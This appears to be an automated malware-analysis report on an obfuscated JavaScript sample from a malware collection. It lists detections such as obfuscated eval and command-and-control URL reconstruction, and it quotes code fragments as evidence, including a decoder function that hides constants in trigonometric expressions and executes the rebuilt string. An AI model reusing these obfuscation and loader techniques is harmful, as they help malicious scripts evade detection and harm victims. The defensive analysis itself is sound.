Suspicious ^80% javascript-malware-collection Download

20151216_97bbc63375dac415189f815469a38505.js

obfuscated eval, C2 reconstruction

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2565af3c74513400d20e8b5ea9cf93f2c8fc2a91772db32522b9935314a6745b19f

Evidence

0x3f hex byte token line 1

1lCAgopPk=[0x0,0x7,0xc,0x10,0x17,0x1d,0x21,0x24,0x2a,0x31,0x34,0x38,0x3f,0x41,0x4a,0x4f,0x54,0x56,0x5b,0x61,0x67,0x69,0x6e,0x75,0x7b,0x81,0x86,0x8b,0x90,0x92,0x98,0x9f,0xa3,0xa5,0xae,0xb0,0xb7,0xbb,0x …

Builds characters with String.fromCharCode line 2

2:154… 'Q','1','L',')','V','E','a','L','d','V','7','@','?','*','V',']',String.fromCharCode(10),'c','#','Y','0','S','x','X','*','E','4','/','+',String.fromCharCode(13),'K',']','F','6','d','>','8','*','-','.','[','"','s' …

XOR URL reconstruction call line 2

2:1858… 'P','D','*','v','Q',']','Z','J','/','F','k','o','[','r','y','A',String.fromCharCode(92),':','t',')','J',']','/','^','6','W','$','>','_','6','5','8','W','S','q','!','`','b','T','X','1','`','a','@','Q','b','{','w','a','c','V','u','L','b','z','x …

Dense indexed short-token grid lines 12–13

12:33… dWtvpDQ,FRlhpvVgnbZ) {cKbWieqgZEQIDq[qmxebcdWtvpDQ]=FRlhpvVgnbZ;}
13var h = new Array();h[0]=[];h[0][0]='d';h[0][1]='a';h[0][2]='d';h[0][3]='a';h[0][4]='46';h[0][5]='3d';h[0][6]='42';h[0][7]='14';h[0][8]='2p';h[0][9]='14';h[0][10]='25';h[0][11]='14';h[0][12]='16';h[0][13]='47';h[0][14]='3k';h[0][15]='3d';h[0][16]='44';h[0][17]='3g';h[0][18]='3l';h[0][19]='3g';h[0][20]='49';h[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],h[4],h[5]];
20var tVwuXLFWp=[];
21function dtVJrecjGBvmKFTpx(ptHzY){kInzPrLHhTp= '';DWlKGUrUrwj=Math.round((Math.pow(Math.sin(200), 2) + Math.pow(Math.cos(200), 2) - 1));while(true){if (DWlKGUrUrwj >= (1611+705)/386){break;}tVwuXLFWp[DWlKGUrUrwj]=Math.round((Math.pow(Math.sin(324), 2) + Math.pow(Math.cos(324), 2) - 1)); while(true) { if(tVwuXLFWp[DWlKGUrUrwj] > ptHzY[DWlKGUrUrwj].length-(399+524)/923) { break; } if (HnSpgwA(uyAgz(ptHzY[DWlKGUrUrwj][tVwuXLFWp[DWlKGUrUrwj]],(18077+11)/646,(7710+580)/829))) {kInzPrLHhTp += XuRiXIFsuUKKZEhtKbALoZHdOAfiHfmgNMiEKXXiKTHeglypWIdWKq([ptHzY[DWlKGUrUrwj][tVwuXLFWp[DWlKGUrUrwj]]], Math.round((Math.pow(Math.sin(958), 2) + Math.pow(Math.cos(958), 2) - 1)));} tVwuXLFWp[DWlKGUrUrwj]++;}DWlKGUrUrwj++;} return kInzPrLHhTp}
22var NWhOJDlfzivZpuAjLgLUmjVrbmCKPQiaX = 'kkacFJYsUTtkBdincNArTYoLUFsEpmeVwtKl';var MpHbhyjQEhGvUNjWlyZihCUZOyksFAVn = 'rutplaKzQpidFrorITjplnaBkLQgLcpWRhZq';tgslKQpWeWjcXoT(dtVJrecjGBvmKFTpx(ptHzY),NWhOJDlfzivZpuAjLgLUmjVrbmCKPQiaX,MpHbhyjQEhGvUNjWlyZihCUZOyksFAVn);